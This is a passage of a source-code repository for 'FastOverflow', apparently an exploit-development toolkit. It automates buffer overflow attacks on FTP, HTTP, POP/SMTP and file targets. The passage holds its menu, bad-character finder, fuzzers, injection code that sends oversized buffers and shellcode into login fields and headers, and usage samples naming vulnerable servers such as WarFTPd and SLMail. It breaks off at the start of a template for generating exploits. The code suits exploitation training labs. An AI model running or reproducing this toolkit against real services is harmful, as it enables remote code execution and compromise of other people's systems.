| self.menu() 71 | elif (process == "10"): 72 | System.generate_exploit(self.config) 73 | elif (process == "11"): 74 | System.hex_decomposition(self.config) 75 | elif (process == "0"): 76 | sys.exit(0) 77 | 78 | ############################ 79 | ## SEARCHING FOR BADCHARS 80 | 81 | def test_badchars(self): 82 | 83 | bads = System.input("[+] Badchars detected : " + ",".join(System.badchars) + "! Additional badchars? Separate multiple by commas [40,0a]: ") 84 | 85 | if ',' in bads: 86 | _bads = bads.split(',') 87 | for _badchar in _bads: 88 | System.badchars.append(r'\x'+_badchar.trim()) 89 | elif bads != "": 90 | System.badchars.append(r'\x'+bads.trim()) 91 | 92 | print("Got bad chars:\n" + ', '.join(System.badchars)) 93 | 94 | def search_badchars(self): 95 | global columns 96 | 97 | adapter = System.get_adapter(self.config) 98 | inject_func = getattr(adapter, 'inject') 99 | 100 | System.input("[!] All set! Press ENTER when your debugger is ready to receive a single byte sequences :") 101 | 102 | for x in System.nonprint_chars: 103 | buffer = x 104 | 105 | print("\n\r[!] ############# Testing char " + str(len(buffer)) + " ----> " + (r'\x{:x}'.format(ord(x)))) 106 | 107 | try: 108 | buffer += "\r\n" 109 | 110 | responses = inject_func(self.config.remoteip, self.config.remoteport, self.config.field, buffer, True) 111 | for response in responses: 112 | if "Illegal" in response.decode("latin-1"): 113 | System.badchars.append(r'\x{:x}'.format(ord(x))) 114 | # print(response + ' -- CHARACTER: ' + hex(ord(x))) 115 | 116 | except socket.error as error: 117 | print(error) 118 | 119 | print("=" * self.tm_columns) 120 | print("Found the following bad chars:\n" + ', '.join(System.badchars)) 121 | self.config.badchars = System.badchars 122 | print("=" * self.tm_columns) 123 | print("") 124 | 125 | System.save_session(self.config) 126 | 127 | self.menu() 128 | 129 | def fuzz_fields(self): 130 | adapter = System.get_adapter(self.config) 131 | inject_func = getattr(adapter, 'inject') 132 | 133 | print("Current Fields: " + self.config.field) 134 | self.config.fields = "," + System.input("[?] Input any additional fields separated by comma : ") 135 | 136 | for field in self.config.field.split(","): 137 | buffer = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10000)) 138 | 139 | print("-" * self.tm_columns) 140 | print("[!] Sending randomized buffer on " + field) 141 | 142 | overflow = inject_func(self.config.remoteip, self.config.remoteport, field, buffer, True) 143 | print("[*] Waiting 3 seconds... ") 144 | sleep(3) 145 | 146 | def random_fuzzer(self): 147 | self.config.offset = 0 148 | self.config.overflow = 0 149 | self.config.fuzzer_type = "printables" 150 | 151 | System.generic_fuzzer(self.config) 152 | self.menu() 153 | 154 | def generic_fuzzer(self): 155 | 156 | System.generic_fuzzer(self.config) 157 | self.menu() 158 | 159 | ############################ 160 | # OVERFLOW PROCESSES 161 | 162 | def classical_overflow(self): 163 | 164 | process = Classic(self.config) 165 | process.exploit() 166 | 167 | def egghunter_overflow(self): 168 | 169 | process = EggHunter(self.config) 170 | process.exploit() 171 | 172 | def seh_overflow(self): 173 | 174 | process = Seh(self.config) 175 | process.exploit() 176 | 177 | def help(): 178 | global _tm_columns 179 | 180 | print("=" * _tm_columns + "\r\n") 181 | print("Samples: \n\r\n\r" 182 | "WarFTPd ./fast_overflow.py -m ftp -t 172.16.18.128 -p 21 -f user\r\n" # : 485, 32714131, 7c941eed, 16 NOPs" 183 | "Ability FTP Server ./fast_overflow.py -m ftp -t 172.16.18.128 -p 21 -f stor -U ftp -P ftp\r\n" # : 968, 33674232, 77fab127, 32 NOPs\n\r" 184 | "SLMail ./fast_overflow.py -m popsmtp -t 172.16.18.128 -p 110 -f pass\r\n" # : 2606, 7608BCCF, 77fab127, 16 NOPs\n\r") 185 | "Video Players ./fast_overflow.py -m file -i 172.16.18.1 -l 7777\r\n" 186 | "Konica Minolta ./fast_overflow.py -m ftp -t 172.16.18.138 -p 21 -f cwd\r\n" # SEH : 1037, 1220401E, 8 NOPs\n\r" 187 | "Kolibri ./fast_overflow.py -m http -t 172.16.18.128 -p 8080 -f uri -hm head\r\n" # EggHunting : 515, 32724131, c, 011EFB28, 011EFAF4, 8 NOPs\n\r"# ) 188 | ); 189 | 190 | print("For detailed usage please use help (-h)! ") 191 | 192 | sys.exit(1) 193 | 194 | def initArgs(): 195 | parser = argparse.ArgumentParser(description="Fast Overflow Toolkit") 196 | parser.add_argument('-m', '--mode', type=str, help='Specify mode for buffer overflow. Accepted : ftp | http | popsmtp | file') 197 | parser.add_argument('-o', '--os', type=str, default='windows', help='Target OS Platform for shellcode. Accepted: windows | unix | linux | mac') 198 | parser.add_argument('-t', '--target', type=str, help='Target to attack. Not used in FILE mode') 199 | parser.add_argument('-p', '--port', type=str, help='Port to attack. Not used in FILE mode') 200 | parser.add_argument('-f', '--fields', type=str, help='Set fields to exploit: user, pass, stor, cookie, user-agent. Not used in FILE mode') 201 | parser.add_argument('-hm', '--http-method', default='HEAD', type=str, help='Set HTTP method to exploit: GET, HEAD, POST, TRACE, etc. Default: HEAD') 202 | parser.add_argument('-u', '--http-uri', default='/', type=str, help='Set HTTP base uri to exploit. Default: /') # Todo: set uri argument 203 | parser.add_argument('-i', '--lip', type=str, help='Local IP for shellcode') 204 | parser.add_argument('-l', '--lport', type=str, help='Local Port for shellcode') 205 | parser.add_argument('-U', '--auth-user', type=str, default='user', help='User for auth. Default: user') 206 | parser.add_argument('-P', '--auth-pass', type=str, default='user', help='Pass for auth. Default: user') 207 | # parser.add_argument('-si', '--session-ignore', default='False', help='Ignore session file. Default: no') 208 | # parser.add_argument('-v', '--verbose', type=int, default='2', help='Verbose level. Default: 2') 209 | 210 | return parser.parse_args() 211 | 212 | def main(args): 213 | global _tm_columns 214 | # os.system("clear") 215 | 216 | print("") 217 | print("#" * _tm_columns + "\r\n") 218 | print("# FastOverflow v1.0-rc - A toolkit for automating Buffer Overflow process") 219 | print("# Currently supporting Vanilla, SEH Bypass, EggHunter through HTTP, FTP, POP, SMTP and File") 220 | print("") 221 | print("# By Daniel (daniel@zillius.com.br) ") 222 | print("") 223 | print("#" * _tm_columns + "\r\n") 224 | 225 | _c = Config() 226 | 227 | if(args.mode != None): 228 | if (args.mode.lower() in {"ftp", "popsmtp", "http", "file"}): 229 | _c.mode = args.mode.lower() 230 | else: 231 | print("[!] Invalid Mode!!! \r\n") 232 | help() 233 | else: 234 | print("[!] Missing Mode!!! \r\n") 235 | help() 236 | 237 | if (args.os != None): 238 | _c.platform = args.os 239 | 240 | if (args.target != None): 241 | _c.remoteip = args.target 242 | 243 | if (args.port != None): 244 | _c.remoteport = args.port 245 | 246 | if (args.fields != None): 247 | _c.field = args.fields 248 | 249 | if (args.http_method != None): 250 | _c.http_method = args.http_method.upper() 251 | 252 | if (args.http_uri != None): 253 | _c.httpuri = args.http_uri 254 | 255 | if (args.lip != None): 256 | _c.localip = args.lip 257 | 258 | if (args.lport != None): 259 | _c.localport = args.lport 260 | 261 | if (args.auth_user != None): 262 | _c.user = args.auth_user 263 | 264 | if (args.auth_pass != None): 265 | _c.passwd = args.auth_pass 266 | 267 | if (_c.mode == "file"): 268 | _c.remoteip = "file" 269 | _c.remoteport = 0 270 | else: 271 | if (_c.remoteip == None or _c.remoteip == ""): 272 | print("[!] Missing Target!!! \r\n") 273 | help() 274 | sys.exit(0); 275 | 276 | if (_c.remoteport == None or _c.remoteport == 0): 277 | print("[!] Missing Remote Port!!! \r\n") 278 | help() 279 | sys.exit(0); 280 | 281 | try: 282 | System.load_session(_c) 283 | 284 | _f = FastOverflow(_c) 285 | _f.tm_columns = _tm_columns 286 | _f.menu() 287 | 288 | except KeyboardInterrupt: 289 | save = System.input("[?] Do you want to save your progress data? [Y]es/[n]o : ") 290 | if save == "Y": 291 | System.save_session(_c) 292 | 293 | sys.exit(1) 294 | 295 | if __name__ == "__main__": 296 | _tm_columns, _tm_rows = shutil.get_terminal_size((80, 20)) 297 | main(initArgs()) 298 | 299 | 300 | -------------------------------------------------------------------------------- /protocols/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danieljs777/fastoverflowtk/a6ac97778c2109bb53269f08324c5ea84b5e8e60/protocols/__init__.py -------------------------------------------------------------------------------- /protocols/ftp.py: -------------------------------------------------------------------------------- 1 | import os 2 | import string 3 | import sys 4 | import socket 5 | import time 6 | import getopt 7 | import random 8 | from struct import * 9 | import subprocess 10 | import re 11 | import binascii 12 | from past.builtins import execfile 13 | from protocols import * 14 | from buffers import * 15 | from protocols.tcp import Tcp 16 | 17 | class Ftp: 18 | 19 | auth_user = "anonymous" 20 | auth_pass = "123@test.com" 21 | 22 | def __init__(self, config): 23 | self.config = config 24 | if(config.user != ""): 25 | self.auth_user = config.user 26 | 27 | if (config.passwd != ""): 28 | self.auth_pass = config.passwd 29 | 30 | return None 31 | 32 | 33 | ############################ 34 | # FTP FUNCTIONS 35 | 36 | ############################ 37 | ## FTP INJECTION 38 | 39 | def inject(self, remoteip, port, field, buffer, stop_on_field): 40 | responses = [] 41 | 42 | field = field.lower() 43 | 44 | try: 45 | 46 | if (stop_on_field == None): 47 | stop_on_field = False 48 | 49 | if (self.config.verbose_lv == 2): 50 | print("BUFFER BEGIN" + ("=" * 100)) 51 | print(buffer) 52 | print(("=" * 100) + " BUFFER END") 53 | 54 | if not isinstance(buffer, str): 55 | strlen = str(len(buffer.decode('latin-1').strip())) 56 | else: 57 | strlen = str(len(buffer.strip())) 58 | 59 | print("[!] Injecting %s bytes on %s" % (strlen, field.upper())) 60 | 61 | s = Tcp.connect(remoteip, port) 62 | 63 | if (self.config.verbose_lv == 2): 64 | print(s) 65 | 66 | if (s == None): 67 | return responses 68 | 69 | if (self.config.verbose_lv < 0): 70 | print(s.recv(2048)) 71 | 72 | # if (field == "preauth"): 73 | # print('[' + strlen + ' bytes]') 74 | # s.send(buffer) 75 | 76 | if (field != "user"): 77 | if (self.config.verbose_lv > 0): 78 | print(Tcp.prepare_command('USER ' + self.auth_user)) 79 | 80 | s.sendall(Tcp.prepare_command("USER " + self.auth_user + "\r\n")) 81 | else: 82 | if (self.config.verbose_lv > 0): 83 | print(Tcp.prepare_command('USER [' + strlen + ' bytes]')) 84 | 85 | if not isinstance(buffer, str): 86 | s.sendall(Tcp.prepare_command('USER ' + buffer.decode('latin-1') + '\r\n')) 87 | else: 88 | s.sendall(Tcp.prepare_command('USER ' + buffer + '\r\n')) 89 | 90 | # if(stop_on_field): 91 | # response = s.recv(2048) 92 | # print(response) 93 | # s.close() 94 | # return response 95 | 96 | responses.append(s.recv(2048)) 97 | if (self.config.verbose_lv > 0): 98 | print(responses[-1]) 99 | 100 | if (field != "pass"): 101 | if (self.config.verbose_lv > 0): 102 | print(Tcp.prepare_command('PASS ' + self.auth_pass)) 103 | 104 | s.sendall(Tcp.prepare_command('PASS ' + self.auth_pass + '\r\n')) 105 | else: 106 | if (self.config.verbose_lv > 0): 107 | print(Tcp.prepare_command('PASS [' + strlen + ' bytes]')) 108 | 109 | if not isinstance(buffer, str): 110 | s.sendall(Tcp.prepare_command('PASS ' + buffer.decode('latin-1') + '\r\n')) 111 | else: 112 | s.sendall(Tcp.prepare_command('PASS ' + buffer + '\r\n')) 113 | 114 | # if(stop_on_field): 115 | # response = s.recv(2048) 116 | # print(response) 117 | # s.close() 118 | # return response 119 | 120 | responses.append(s.recv(2048)) 121 | if (self.config.verbose_lv == 2): 122 | print(responses[-1]) 123 | 124 | if (field != "user" and field != "pass"): 125 | print(field + ' [ ' + strlen + ' bytes ] ') 126 | 127 | # print buffer.encode('latin-1') # + ' bytes]') 128 | 129 | # _buf = (field + ' ' + buffer + '\r\n').encode() 130 | # 131 | # s.sendall(_buf) 132 | # if (sys.version_info >= (3, 0)): 133 | # print(type(field)) 134 | # print(type(buffer)) 135 | # #cmd = bytes(field + ' ' + buffer.decode('latin-1') + '\r\n', 'latin-1') 136 | # cmd = (field + ' ' + buffer.decode('latin-1') + '\r\n').encode('latin-1') 137 | # 138 | # cmd = self.prepare_command((field + ' ' + buffer.decode('latin-1') + '\r\n')) 139 | # 140 | # print(cmd) 141 | # else: 142 | # print(type(field)) 143 | # print(type(buffer)) 144 | 145 | if not isinstance(buffer, str): 146 | cmd = Tcp.prepare_command(field + ' ' + buffer.decode('latin-1') + '\r\n') 147 | else: 148 | cmd = Tcp.prepare_command(field + ' ' + buffer + '\r\n') 149 | 150 | s.sendall(cmd) 151 | 152 | # if(stop_on_field): 153 | # response = s.recv(2048) 154 | # print(response) 155 | # s.close() 156 | # return response 157 | responses.append(s.recv(2048)) 158 | print(responses) 159 | 160 | s.close() 161 | 162 | except socket.error as error: 163 | print(error) 164 | return [] 165 | 166 | return responses 167 | 168 | # FTP FUZZER 169 | def fuzzer(self, remoteip, port, field, start, stop, step): 170 | 171 | if (field == None): 172 | field = "user" 173 | 174 | size = 0 175 | 176 | for size in range(int(start), int(stop) + int(step), int(step)): 177 | 178 | if (self.config.fuzzer_type.lower() == "printables"): 179 | fuzzer_buffer = ''.join(random.choices(string.ascii_uppercase + string.digits, k=size)) 180 | else: 181 | fuzzer_buffer = "A" * size 182 | 183 | streaming = (self.inject(remoteip, port, field, fuzzer_buffer, None)) 184 | 185 | print(streaming) 186 | 187 | if (len(streaming) > 0): 188 | _stream = streaming[-1].decode('latin-1').strip() 189 | _response = _stream.split(' ') 190 | time.sleep(1) 191 | 192 | else: 193 | break 194 | 195 | # print("[!] ERROR COMMUNICATING TO THE SERVICE " + "|".join(streaming)) 196 | # responsecode = int(_response[0].strip()) 197 | 198 | # # 6xx Protected reply 199 | # if responsecode > 599: 200 | # print(base64_decode(_response.join(' '))) 201 | 202 | # #5xx Permanent Negative Completion reply 203 | # if responsecode > 499: 204 | # return size 205 | # break; 206 | 207 | #size += step 208 | # self.config.fuzzer_buffer = "A" * size 209 | 210 | return size 211 | 212 | def output_stream(self, field): 213 | 214 | stream = "" 215 | 216 | if (field != "user"): 217 | stream += (" " * 4) + 's.sendall(("USER "' + self.auth_user + '"\\r\\n" + ").encode("latin-1"))\r\n' 218 | stream += (" " * 4) + "print(s.recv(2048))\r\n" 219 | else: 220 | stream += (" " * 4) + 's.sendall(("USER ").encode("latin1") + buffer + ("\\r\\n").encode("latin-1"))\r\n' 221 | stream += (" " * 4) + "print(s.recv(2048))\r\n" 222 | 223 | if (field != "pass"): 224 | stream += (" " * 4) + 's.sendall(("PASS ' + self.auth_pass + '\\r\\n").encode("latin-1"))\r\n' 225 | stream += (" " * 4) + "print(s.recv(2048))\r\n" 226 | else: 227 | stream += (" " * 4) + 's.sendall(("PASS ").encode("latin1") + buffer + ("\\r\\n").encode("latin-1"))\r\n' 228 | stream += (" " * 4) + "print(s.recv(2048))\r\n" 229 | 230 | if (field != "user" and field != "pass"): 231 | stream += (" " * 4) + 's.sendall(("' + field + ' ").encode("latin1") + buffer + ("\\r\\n").encode("latin-1"))\r\n' 232 | stream += (" " * 4) + "print(s.recv(2048))\r\n" 233 | 234 | return stream 235 | -------------------------------------------------------------------------------- /protocols/http.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import time 3 | import sys 4 | 5 | from protocols.tcp import Tcp 6 | 7 | 8 | class Http(): 9 | 10 | config = "" 11 | request = "" 12 | 13 | def __init__(self, config): 14 | self.config = config 15 | self.request = "" 16 | return None 17 | 18 | ############################ 19 | # HTTP FUNCTIONS 20 | 21 | ############################ 22 | ## HTTP INJECTION 23 | 24 | def make_request(self, ip, port, field, buffer, shellcode, size): 25 | request_data = "" 26 | 27 | if(buffer == None): 28 | buffer = "A" * size 29 | 30 | header_skeleton = { 31 | "Host": ip + ":" + str(port), 32 | "User-Agent": "Mozilla/5.0", 33 | "Keep-Alive": "115", 34 | "Connection": "keep-alive", 35 | "Accept": "*/*", 36 | "Accept-Language": "en-US,en;q=0.5", 37 | "Accept-Encoding": "gzip, deflate", 38 | "Referer": "http://" + ip, # + ":" + str(port), 39 | "Content-Type": "application/x-www-form-urlencoded", 40 | "If-Modified-Since": "Mon, 1 Jan 1990 00:00:00 GMT" 41 | } 42 | 43 | field_default = False 44 | 45 | if (shellcode != None): 46 | if(isinstance(shellcode, (bytes))): 47 | header_skeleton["User-Agent"] = str(shellcode.decode("latin-1")) 48 | else: 49 | header_skeleton["User-Agent"] = shellcode 50 | 51 | if (field.upper() == "URI"): 52 | field_default = True 53 | if (isinstance(shellcode, (bytes))): 54 | request_header = self.config.http_method + " /" + str(buffer.decode("latin-1")) + " HTTP/1.1\r\n" 55 | else: 56 | request_header = self.config.http_method + " /" + str(buffer) + " HTTP/1.1\r\n" 57 | else: 58 | request_header = self.config.http_method + " /" + self.config.http_uri + " HTTP/1.1\r\n" 59 | 60 | for key in header_skeleton: 61 | # print(header_skeleton[key]) 62 | # print(type(header_skeleton[key])) 63 | 64 | if (field.upper() == key.upper()): 65 | field_default = True 66 | if (isinstance(buffer, (bytes))): 67 | request_header += key + ": " + str(buffer.decode("latin-1")) + "\r\n" 68 | else: 69 | request_header += key + ": " + buffer + "\r\n" 70 | else: 71 | # print(key, type(key), header_skeleton[key], (type(header_skeleton[key])), (isinstance(header_skeleton[key], (str, unicode)))) 72 | 73 | request_header += key + ": " + str(header_skeleton[key]) + "\r\n" 74 | 75 | # Todo: Implement cookie buffer in conjunction with shellcode 76 | # if ("cookie" in field.lower()): 77 | # field_default = True 78 | # request_header += field + "=" + buffer + "\r\n" 79 | # self.config.field = input("Fill your cookie data and put {{buffer}} in custom param: ") 80 | 81 | if (field_default == False): 82 | request_data = field + "=" + buffer 83 | 84 | request_header += "Content-Length: " + str(len(request_data)) 85 | request_header += "\r\n" * 2 86 | 87 | if (self.config.verbose_lv == 2): 88 | print("=" * 50) 89 | print(request_header) 90 | print("=" * 50) 91 | 92 | self.request = request_header + request_data 93 | 94 | return self.request #str(self.request).encode('latin-1') 95 | 96 | ############################ 97 | ## HTTP Request 98 | def inject(self, remoteip, port, field, request, stop_on_field): 99 | responses = [] 100 | 101 | try: 102 | s = Tcp.connect(remoteip, port) 103 | 104 | if (s == None): 105 | return responses 106 | 107 | if (self.config.verbose_lv == 2): 108 | print("REQUEST BEGIN" + ("=" * 100)) 109 | print(request) 110 | print(("=" * 100) + " REQUEST END") 111 | 112 | s.sendall(Tcp.prepare_command((request))) 113 | 114 | responses.append(s.recv(2048)) 115 | print("RESPONSE BEGIN" + ("=" * 100)) 116 | print(responses[-1]) 117 | print(("=" * 100) + " RESPONSE END") 118 | 119 | s.close() 120 | except socket.error as error: 121 | print(error) 122 | return [] 123 | 124 | return responses 125 | 126 | 127 | ############################ 128 | ## HTTP DATA FUZZER 129 | 130 | def fuzzer(self, ip, port, field, start, stop, step): 131 | 132 | size = 0 133 | 134 | for size in range(int(start), int(stop) + int(step), int(step)): 135 | 136 | # if (self.config.fuzzer_type.lower() == "printables"): 137 | # fuzzer_buffer = ''.join(random.choices(string.ascii_uppercase + string.digits, k=size)) 138 | # else: 139 | fuzzer_buffer = "A" * size 140 | 141 | self.request = self.make_request(ip, port, field, None, None, size) 142 | 143 | print('[.] Trying to overflow [' + str(size) + ' bytes]') 144 | 145 | streaming = (self.inject(ip, port, field, self.request, None)) 146 | 147 | if (len(streaming) > 0): 148 | # streaming[-1].strip() 149 | # _response = streaming[-1].split(' ') 150 | 151 | # print("[!] ERROR COMMUNICATING TO THE SERVICE " + "|".join(streaming)) 152 | # responsecode = int(_response[0].strip()) 153 | 154 | # # 6xx Protected reply 155 | # if responsecode > 599: 156 | # print(base64_decode(_response.join(' '))) 157 | 158 | # #5xx Permanent Negative Completion reply 159 | # if responsecode > 499: 160 | # return size 161 | # break; 162 | 163 | time.sleep(1) 164 | 165 | return size 166 | 167 | 168 | ############################ 169 | ## HTTP DEFAULT RAW REQUEST FOR TESTING ADDITIONAL HEADERS 170 | #def http_raw_request(self, ip, port, method, uri, header, header_value, default_data): 171 | # request = (method + "/" + uri + " HTTP/1.1 \r\n" 172 | # "Host: " + ip +":" + port +"\r\n" 173 | # "User-Agent: ""Mozilla/5.0""\r\n" 174 | # "Keep-Alive: 115\r\n" 175 | # "Connection: keep-alive\r\n" 176 | # "Content-Length: " + str(len(default_data)) + "\r\n") 177 | 178 | # if(header != "" and header_value != ""): 179 | # request += header + ":" + header_value + "\r\n" 180 | 181 | # request += "\r\n" 182 | 183 | # request += default_data 184 | 185 | #request = self.make_request(ip, port, field, start_size, inc) 186 | 187 | #streaming = (self.http_inject(ip, port, request)) 188 | 189 | 190 | ############################ 191 | ## HTTP RAW REQUEST FROM INPUT 192 | # def http_raw_input(self, ip, port, header, header_value): 193 | # request = []; 194 | # print("Enter your request headers: \r\n") 195 | 196 | # lines = [] 197 | # while True: 198 | # line = input() 199 | # if line: 200 | # request.append(line) 201 | # else: 202 | # break 203 | 204 | # request = '\n'.join(lines) 205 | 206 | # # request = """POST /cmd.php HTTP/1.1 207 | # # Host: 192.168.10.165 208 | # # User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 209 | # # Accept: */* 210 | # # Accept-Language: en-US,en;q=0.5 211 | # # Accept-Encoding: gzip, deflate 212 | # # Referer: http://192.168.10.165/ 213 | # # Content-Type: application/x-www-form-urlencoded 214 | # # Content-Length: 7 215 | # # Connection: close 216 | # # X-Forwarded-For: 192.168.10.165 217 | 218 | # # data=ls 219 | # # """ 220 | 221 | # if(header != "" and header_value != ""): 222 | # request.replace("HTTP/1.1", "HTTP/1.1\r\n" + header + ":" + header_value).strip() 223 | 224 | # print("=" * 100) 225 | 226 | # print(request) 227 | 228 | # s = connect(ip, port) 229 | # s.send(request) 230 | 231 | # print("Sent Request of %s bytes:" %len(request)) 232 | 233 | # print("=" * 100) 234 | # print(s.recv(10240)) 235 | # print("=" * 100) 236 | 237 | # s.close() -------------------------------------------------------------------------------- /protocols/popsmtp.py: -------------------------------------------------------------------------------- 1 | import os 2 | import string 3 | import sys 4 | import socket 5 | import time 6 | import getopt 7 | from random import random 8 | from struct import * 9 | import subprocess 10 | import re 11 | import binascii 12 | from past.builtins import execfile 13 | from protocols import * 14 | from buffers import * 15 | from protocols.tcp import Tcp 16 | 17 | 18 | class PopSmtp: 19 | 20 | def __init__(self, config): 21 | self.config = config 22 | return None 23 | 24 | ############################ 25 | # POP FUNCTIONS 26 | 27 | ############################ 28 | ## POP INJECTION 29 | 30 | def inject(self, remoteip, port, field, buffer, stop_on_field): 31 | responses = [] 32 | 33 | field = field.lower() 34 | 35 | try: 36 | 37 | if (stop_on_field == None): 38 | stop_on_field = False 39 | 40 | if (self.config.verbose_lv == 2): 41 | print("BUFFER BEGIN" + ("=" * 100)) 42 | print(buffer) 43 | print(("=" * 100) + " BUFFER END") 44 | 45 | if not isinstance(buffer, str): 46 | strlen = str(len(buffer.decode('latin-1').strip())) 47 | else: 48 | strlen = str(len(buffer.strip())) 49 | 50 | print("\r\n[!] Injecting %s bytes on %s" % (strlen, field.upper())) 51 | 52 | s = Tcp.connect(remoteip, port) 53 | 54 | if (self.config.verbose_lv == 2): 55 | print(s) 56 | 57 | if (s == None): 58 | return responses 59 | 60 | print(s.recv(2048)) 61 | print("[.] Trying to overflow %s ..." % field) 62 | 63 | if (field != "user"): 64 | print(Tcp.prepare_command('USER user')) 65 | s.sendall(Tcp.prepare_command("USER user\r\n")) 66 | else: 67 | print('USER [' + strlen + ' bytes]') 68 | 69 | if not isinstance(buffer, str): 70 | s.sendall(Tcp.prepare_command('USER ' + buffer.decode('latin-1') + '\r\n')) 71 | else: 72 | s.sendall(Tcp.prepare_command('USER ' + buffer + '\r\n')) 73 | 74 | # if(stop_on_field): 75 | # response = s.recv(2048) 76 | # print(response) 77 | # s.close() 78 | # return response 79 | 80 | responses.append(s.recv(2048)) 81 | print(responses[-1]) 82 | 83 | if (field != "pass"): 84 | print(Tcp.prepare_command('PASS pass')) 85 | s.sendall(Tcp.prepare_command('PASS pass\r\n')) 86 | else: 87 | print('PASS [' + strlen + ' bytes]') 88 | 89 | if not isinstance(buffer, str) : 90 | s.sendall(Tcp.prepare_command('PASS ' + buffer.decode('latin-1') + '\r\n')) 91 | else: 92 | s.sendall(Tcp.prepare_command('PASS ' + buffer + '\r\n')) 93 | 94 | # if(stop_on_field): 95 | # response = s.recv(2048) 96 | # print(response) 97 | # s.close() 98 | # return response 99 | 100 | responses.append(s.recv(2048)) 101 | print(responses[-1]) 102 | 103 | if (field != "user" and field != "pass"): 104 | print(field + ' [' + strlen + ' bytes]') 105 | 106 | if not isinstance(buffer, str): 107 | s.sendall(Tcp.prepare_command(field + ' ' + buffer.decode('latin-1') + '\r\n')) 108 | else: 109 | s.sendall(Tcp.prepare_command(field + ' ' + buffer + '\r\n')) 110 | 111 | # if(stop_on_field): 112 | # response = s.recv(2048) 113 | # print(response) 114 | # s.close() 115 | # return response 116 | responses.append(s.recv(2048)) 117 | print(responses[-1]) 118 | 119 | s.close() 120 | 121 | except socket.error as error: 122 | print(error) 123 | return [] 124 | 125 | return responses 126 | 127 | def fuzzer(self, remoteip, port, field, start, stop, step): 128 | 129 | if (field == None): 130 | field = "user" 131 | 132 | for size in range(int(start), int(stop), int(step)): 133 | 134 | streaming = [True] 135 | while len(streaming) > 0: 136 | if (self.config.fuzzer_type.lower() == "custom"): 137 | self.config.fuzzer_buffer = ''.join(random.choices(string.ascii_uppercase + string.digits, k=size)) 138 | else: 139 | self.config.fuzzer_buffer = "A" * size 140 | 141 | streaming = (self.inject(remoteip, port, field, self.config.fuzzer_buffer, None)) 142 | 143 | if (len(streaming) > 0): 144 | _stream = streaming[-1].decode('latin-1').strip() 145 | 146 | _response = _stream.split(' ') 147 | 148 | # print("[!] ERROR COMMUNICATING TO THE SERVICE " + "|".join(streaming)) 149 | # responsecode = int(_response[0].strip()) 150 | 151 | # # 6xx Protected reply 152 | # if responsecode > 599: 153 | # print(base64_decode(_response.join(' '))) 154 | 155 | # #5xx Permanent Negative Completion reply 156 | # if responsecode > 499: 157 | # return size 158 | # break; 159 | 160 | time.sleep(1) 161 | 162 | size += step 163 | # buffer = "A" * size 164 | 165 | return size 166 | 167 | def output_stream(self, field): 168 | 169 | stream = "" 170 | 171 | if (field != "user"): 172 | stream += (" " * 4) + 's.sendall(("USER "' + self.auth_user + '"\\r\\n" + ").encode("latin-1"))\r\n' 173 | stream += (" " * 4) + "print(s.recv(2048))\r\n" 174 | else: 175 | stream += (" " * 4) + 's.sendall(("USER ").encode("latin1") + buffer + ("\\r\\n").encode("latin-1"))\r\n' 176 | stream += (" " * 4) + "print(s.recv(2048))\r\n" 177 | 178 | if (field != "pass"): 179 | stream += (" " * 4) + 's.sendall(("PASS ' + self.auth_pass + '\\r\\n").encode("latin-1"))\r\n' 180 | stream += (" " * 4) + "print(s.recv(2048))\r\n" 181 | else: 182 | stream += (" " * 4) + 's.sendall(("PASS ").encode("latin1") + buffer + ("\\r\\n").encode("latin-1"))\r\n' 183 | stream += (" " * 4) + "print(s.recv(2048))\r\n" 184 | 185 | if (field != "user" and field != "pass"): 186 | stream += (" " * 4) + 's.sendall(("' + field + ' ").encode("latin1") + buffer + ("\\r\\n").encode("latin-1"))\r\n' 187 | stream += (" " * 4) + "print(s.recv(2048))\r\n" 188 | 189 | return stream -------------------------------------------------------------------------------- /protocols/raw.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | 4 | class Raw(): 5 | 6 | ############################ 7 | # RAW FUNCTIONS 8 | ############################ 9 | # RAW FUZZER 10 | def raw_fuzzer(self, start_size, inc): 11 | if (inc == None): 12 | inc = 100 13 | 14 | if (start_size == None): 15 | size = 100 16 | else: 17 | size = start_size 18 | 19 | buffer = "A" * size 20 | 21 | streaming = [True] 22 | while len(streaming) > 0: 23 | 24 | streaming = (self.raw_inject(buffer, None)) 25 | 26 | if (len(streaming) > 0): 27 | streaming[-1].strip() 28 | _response = streaming[-1].split(' ') 29 | 30 | time.sleep(1) 31 | 32 | size += inc 33 | buffer = "A" * size 34 | 35 | return size 36 | 37 | 38 | ############################ 39 | ## RAW INJECTION 40 | def raw_inject(self, buffer, stop_on_field): 41 | responses = [] 42 | 43 | try: 44 | 45 | print("=" * 100) 46 | 47 | strlen = str(len(buffer)) 48 | 49 | print("Injecting %s bytes" % strlen) 50 | s = self.connect(remoteip, port) 51 | 52 | print("Socket") 53 | print(s) 54 | 55 | if (s == None): 56 | return responses 57 | 58 | print(s.recv(2048)) 59 | print("Overflowing %s ...") 60 | 61 | print(' [' + strlen + ' bytes]') 62 | s.send(buffer + '\r\n') 63 | 64 | responses.append(s.recv(2048)) 65 | print(responses[-1]) 66 | 67 | s.close() 68 | 69 | except socket.error as error: 70 | print(error) 71 | return [] 72 | 73 | return responses 74 | -------------------------------------------------------------------------------- /protocols/tcp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | class Tcp(): 4 | 5 | @staticmethod 6 | def connect(remoteip, port): 7 | 8 | print("\r\n\r\n[!] ##### Connecting to %s" % remoteip) 9 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | s.settimeout(10) 11 | 12 | try: 13 | s.connect((remoteip, int(port))) 14 | 15 | except (socket.error, socket.timeout): 16 | print("[-] Connection error!") 17 | s = None 18 | 19 | return s 20 | 21 | @staticmethod 22 | def prepare_command(command): 23 | return str(command).encode('latin-1') 24 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | future~=0.18.2 -------------------------------------------------------------------------------- /templates/classic.tpl: -------------------------------------------------------------------------------- 1 | # This exploit was generated by FastOverflow and it can runs over Python 2 and 3! 2 | # https://github.com/danieljs777/fastoverflowtk 3 | 4 | import sys 5 | import socket 6 | import time 7 | from struct import * 8 | 9 | rhost = "{{{REMOTEIP}}}" 10 | rport = {{{REMOTEPORT}}} 11 | 12 | bytearray = 